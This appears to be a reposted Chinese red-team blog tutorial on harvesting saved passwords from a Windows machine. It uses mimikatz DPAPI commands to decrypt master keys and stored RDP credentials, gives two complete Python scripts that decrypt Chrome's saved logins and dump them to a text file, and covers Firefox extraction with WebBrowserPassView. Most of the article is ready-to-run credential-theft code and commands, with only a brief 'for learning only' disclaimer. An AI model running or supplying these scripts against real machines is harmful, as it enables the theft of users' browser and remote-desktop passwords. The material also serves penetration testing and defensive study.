8

Windows本地密码抓取

 3 years ago
source link: https://www.ascotbe.com/2021/06/09/WindowsGrabPassword/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

DPAPI解密

使用用户登录密码解密Master Key file,获得Master Key

固定位置: %APPDATA%\Microsoft\Protect\%SID%下往往有多个Master Key file

这是为了安全起见,系统每隔90天会自动生成一个新的Master Key(旧的不会删除)

%APPDATA%\Microsoft\Protect\%SID%下存在一个固定文件Preferred,包含最后一个Master Key file的名称和创建时间,文件结构如下:

typedef struct _tagPreferredMasterKey
{
GUID guidMasterKey;
FILETIME ftCreated;
} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;

完整的流程:

  • 找到本机的Master Key file
  • 从Master Key file中获取到Master Key
  • 通过Master Key解密DPAPI blob获得明文

本地保存RDP密码

首先需要打开隐藏受保护的操作系统文件,不打开的话就算打开了显示隐藏的文件、文件夹和驱动器也是看不到的

image-20210607105330176

接着打开文件C:\Users\用户名\AppData\Local\Microsoft\Credentials就可以看到保存的数据了

![image-20210609134443326](/Users/ascotbe/Library/Application Support/typora-user-images/image-20210609134443326.png)

使用cmdkey /line命令可以查看本地保存了哪些密码,如果你连过其他服务器如果点击了保存密码就能抓取到

![image-20210607105639249](/Users/ascotbe/Library/Application Support/typora-user-images/image-20210607105639249.png)

使用🥝读取

dpapi::cred /in:C:\Users\ascotbe\AppData\Local\Microsoft\Credentials\SESSIONID

![image-20210608171226583](/Users/ascotbe/Library/Application Support/typora-user-images/image-20210608171226583.png)

获取到guidMasterKey其实就是我们的master key file名称

切记一点不同的SESSIONID如果间隔时间超过90天那么对应的guidMasterKey也是不同的

通过命令获取到Master Key file的Master Key,下文中GUID==Master Key fileMasterKey==Master Key

EeLrXMiD # sekurlsa::dpapi

Authentication Id : 0 ; 229076 (00000000:00037ed4)
Session : Interactive from 1
User Name : ascotbe
Domain : 樱岛麻衣
Logon Server : 樱岛麻衣
Logon Time : 2021/6/7 9:37:53
SID : S-1-5-21-1645164750-2672341361-3879437546-1000
[00000000]
* GUID : {d3fcdbfb-06bd-49f0-98b4-ac08664c176a}
* Time : 2021/6/7 9:37:59
* MasterKey : 7da666987b2b6a51db3148cd01a6fe460a79315d1678a24b327d251c4f9138eecbb7ca4919de8de678628963761ee731a1316b78a6a982d0d4a9c590f5171c9e
* sha1(key) : efd1c9d7290d13b3ecc1e288accfc5d6707d3403
[00000001]
* GUID : {33449413-8697-4a85-a075-778b49015fbe}
* Time : 2021/6/8 17:17:37
* MasterKey : 0ac77f164c38e751f303e26d883cd15e3eb3861f2d69c2ba192035511bfc8f2880f206ef238de4d282384c813326feeaef364b9089c86a97a5169f31dbd319ee
* sha1(key) : f45701db86a93d9b860be725d7eaf32a9a684a77
[00000002]
* GUID : {788f0828-1d1e-478d-adf6-7a37e92182e8}
* Time : 2021/6/7 18:01:08
* MasterKey : 6a9ece2f3bd683c2ac14c69e13465399e9ce20c2930dd51dd9378eed800b06b409f7f4bef926e503d85a0b9e5e1f4cc5ccd01fb2ddaa8de90d086bf3a8ae3bf3
* sha1(key) : f2d6c58b2d2f0a91e07dc0d1cb7db7cb8935f955

只需要使用SESSIONID对应的GUID和MasterKey就能解密数据了

dpapi::cred /in:C:\Users\ascotbe\AppData\Local\Microsoft\Credentials\SESSION /masterkey:对应的GUID MasterKey

![image-20210609134218324](/Users/ascotbe/Library/Application Support/typora-user-images/image-20210609134218324.png)

TargetName是目标机器,UserName是账号,CredentialBlob是密码

Chrome浏览器数据

Chrome的配置文件存放在%LocalAppData%目录下。如果有两个Google Chrome账号那么每个账号会有不同的配置文件

C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default (第一个配置文件的名称)
C:\Users\admin\AppData\Local\Google\Chrome\User Data\Profile 2 (后续的配置文件以迭代数字方式命名)

目录中的Login Data是SQLite 3数据库文件,里面存放了各种网站和账号等信息。

![image-20210609143728350](/Users/ascotbe/Library/Application Support/typora-user-images/image-20210609143728350.png)

我们只需要关注logins这张表即可

  • origin_url:登录网址
  • username_value:用户名
  • password_value:被加密的用户密码

chrome version 80(80.0.3987.163) 版本前

chrome80以前的版本是直接可以通过DPAPI中的解密函数 CryptUnprotectData来进行解密的。

测试版本:chrome 79.0.3945.88

A用户解A的chrome密码

直接使用命令即可解密出

dpapi::chrome /in:"C:\Users\ascotbe\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

![image-20210609154742793](/Users/ascotbe/Library/Application Support/typora-user-images/image-20210609154742793.png)

也可以直接使用脚本

python
# !/usr/bin/python3
import os
import shutil
import sqlite3
#pip install pywin32
import win32crypt
import json

APP_DATA_PATH= os.environ['LOCALAPPDATA']
DB_PATH = r'Google\Chrome\User Data\Default\Login Data'


class ChromePassword:
def __init__(self):
self.passwordList = []

def get_chrome_db(self):
_full_path = os.path.join(APP_DATA_PATH,DB_PATH)
_temp_path = os.path.join(APP_DATA_PATH,'sqlite_file')
if os.path.exists(_temp_path):
os.remove(_temp_path)
shutil.copyfile(_full_path,_temp_path)
self.show_password(_temp_path)

def show_password(self,db_file):
conn = sqlite3.connect(db_file)
_sql = 'select signon_realm,username_value,password_value from logins'
for row in conn.execute(_sql):
ret = win32crypt.CryptUnprotectData(row[2],None,None,None,0)
#密码解析后得到字节码,需要进行解码操作
_info = 'url:%-40s username:%-20s password:%s\n' %\
(row[0][:50],row[1],ret[1].decode())
self.passwordList.append(_info)
conn.close()
os.remove(db_file)

def save_passwords(self):
with open('password.txt','w',encoding='utf-8') as f:
f.writelines(self.passwordList)


if __name__=="__main__":
Main = ChromePassword()
Main.get_chrome_db()
Main.save_passwords()

B用户解A的chrome密码

首先我们需要获取到A用户的MasterKey值,就可以解密了

dpapi::chrome /in:"C:\Users\ascotbe\Desktop\Login Data" /unprotect /masterkey:831d02bf734632f7aaa7719f5ec593111997c9aeefabe71ac4e4a963de546784662fcec40722a4656870698cff96c348a37d669131e99401e0947fa355e8fd0b

![image-20210609161248445](/Users/ascotbe/Library/Application Support/typora-user-images/image-20210609161248445.png)

chrome version 80 (80.0.3987.163)版本后

利用主密钥使用AES-GCM加密算法加密密码存放Login Data数据库,然后用DPAPI的加密函数CryptProtectData加密主密钥存放在Local State文件。其中Local State文件存放在如下地址(假设windows用户为admin),本质是个json文件,其中一个值os_crypt下的encrypted_key是解密需要用的被加密后的密钥。

  1. 获取local state和Login Data文件位置
  2. 获取local state中加密的key(base64编码)
  3. 数据库语句提取Login Data sqllite文件的password_value
  4. DPAPI解密加密key
  5. ase-gcm解密password_value
python
# !/usr/bin/python3
import os
import sys
import shutil
import sqlite3
import win32crypt
import json,base64

import os
import sys

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import (
Cipher, algorithms, modes
)

APP_DATA_PATH= os.environ['LOCALAPPDATA']
DB_PATH = r'Google\Chrome\User Data\Default\Login Data'

NONCE_BYTE_SIZE = 12

def encrypt(cipher, plaintext, nonce):
cipher.mode = modes.GCM(nonce)
encryptor = cipher.encryptor()
ciphertext = encryptor.update(plaintext)
return (cipher, ciphertext, nonce)

def decrypt(cipher, ciphertext, nonce):
cipher.mode = modes.GCM(nonce)
decryptor = cipher.decryptor()
return decryptor.update(ciphertext)

def get_cipher(key):
cipher = Cipher(
algorithms.AES(key),
None,
backend=default_backend()
)
return cipher

def dpapi_decrypt(encrypted):
import ctypes
import ctypes.wintypes

class DATA_BLOB(ctypes.Structure):
_fields_ = [('cbData', ctypes.wintypes.DWORD),
('pbData', ctypes.POINTER(ctypes.c_char))]

p = ctypes.create_string_buffer(encrypted, len(encrypted))
blobin = DATA_BLOB(ctypes.sizeof(p), p)
blobout = DATA_BLOB()
retval = ctypes.windll.crypt32.CryptUnprotectData(
ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
if not retval:
raise ctypes.WinError()
result = ctypes.string_at(blobout.pbData, blobout.cbData)
ctypes.windll.kernel32.LocalFree(blobout.pbData)
return result

def unix_decrypt(encrypted):
if sys.platform.startswith('linux'):
password = 'peanuts'
iterations = 1
else:
raise NotImplementedError

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

salt = 'saltysalt'
iv = ' ' * 16
length = 16
key = PBKDF2(password, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)
decrypted = cipher.decrypt(encrypted[3:])
return decrypted[:-ord(decrypted[-1])]

def get_key_from_local_state():
jsn = None
with open(os.path.join(os.environ['LOCALAPPDATA'],
r"Google\Chrome\User Data\Local State"),encoding='utf-8',mode ="r") as f:
jsn = json.loads(str(f.readline()))
return jsn["os_crypt"]["encrypted_key"]

def aes_decrypt(encrypted_txt):
encoded_key = get_key_from_local_state()
encrypted_key = base64.b64decode(encoded_key.encode())
encrypted_key = encrypted_key[5:]
key = dpapi_decrypt(encrypted_key)
nonce = encrypted_txt[3:15]
cipher = get_cipher(key)
return decrypt(cipher,encrypted_txt[15:],nonce)

class ChromePassword:
def __init__(self):
self.passwordList = []

def get_chrome_db(self):
_full_path = os.path.join(APP_DATA_PATH,DB_PATH)
_temp_path = os.path.join(APP_DATA_PATH,'sqlite_file')
if os.path.exists(_temp_path):
os.remove(_temp_path)
shutil.copyfile(_full_path,_temp_path)
self.show_password(_temp_path)

def show_password(self,db_file):
conn = sqlite3.connect(db_file)
_sql = 'select signon_realm,username_value,password_value from logins'
for row in conn.execute(_sql):
# print(type(row[2]))
host = row[0]
if host.startswith('android'):
continue
name = row[1]
value = self.chrome_decrypt(row[2])######加密方式改變后的重點位置
#密码解析后得到字节码,需要进行解码操作
_info = 'url:%-40s username:%-20s password:%s\n' %(host,name,value)
self.passwordList.append(_info)
conn.close()
os.remove(db_file)

def chrome_decrypt(self,encrypted_txt):
if sys.platform == 'win32':
try:
if encrypted_txt[:4] == b'\x01\x00\x00\x00':
decrypted_txt = dpapi_decrypt(encrypted_txt)
return decrypted_txt.decode()
elif encrypted_txt[:3] == b'v10':
decrypted_txt = aes_decrypt(encrypted_txt)
return decrypted_txt[:-16].decode()
except WindowsError:
return None
else:
try:
return unix_decrypt(encrypted_txt)
except NotImplementedError:
return None

def save_passwords(self):
with open('password.txt','w',encoding='utf-8') as f:
f.writelines(self.passwordList)

if __name__=="__main__":
Main = ChromePassword()
Main.get_chrome_db()
Main.save_passwords()

Firefox浏览器数据

所有的密码保存位置在%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\(xxxxxxxx为8位随机字母和数字的组合)

不同版本的Firefox保存记录的文件名称不同,具体区别如下:

  • Version大于等于32.0,保存记录的文件为logins.json

  • Version大于等于3.5,小于32.0,保存记录的文件为signons.sqlite

不同版本的Firefox密钥文件的位置不同,具体区别如下:

  • Version小于58.0.2,密钥文件为key3.db

  • Version大于等于58.0.2,密钥文件为key4.db

默认情况下,当前用户的权限可以查看Firefox浏览器中保存的所有密码,为了提高安全性,Firefox浏览器支持为保存的密码添加额外的保护:设置Master Password。

![image-20210609191949114](/Users/ascotbe/Library/Application Support/typora-user-images/image-20210609191949114.png)

添加Master Password后,查看保存的密码需要额外输入Master Password。

解密流程:

  • 读取密钥文件(key4.db或key3.db),获得key和iv

  • 读取记录文件(logins.json或signons.sqlite)的内容

  • 如果未设置Master Password,使用key和iv对记录文件中的加密内容进行3DES-CBC解密。如果设置Master Password,还需要获得明文形式的Master Password,才能进行解密

未设置Master Password解密

WebBrowserPassView:官方下载 备份下载

.\WebBrowserPassView.exe /LoadPasswordsFirefox 1 /shtml "C:\Users\ascotbe\Desktop\passwords.html"

还能把谷歌最新版本的秘钥给解密了

![image-20210609192420620](/Users/ascotbe/Library/Application Support/typora-user-images/image-20210609192420620.png)

设置Master Password解密

解密需要获取到用户设置的Master Password才行

![image-20210609194828114](/Users/ascotbe/Library/Application Support/typora-user-images/image-20210609194828114.png)

http://redteam.today/2019/12/09/%E4%BD%BF%E7%94%A8mimikatz%E5%AF%BC%E5%87%BAchrome%E5%AF%86%E7%A0%81/
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A6%BB%E7%BA%BF%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK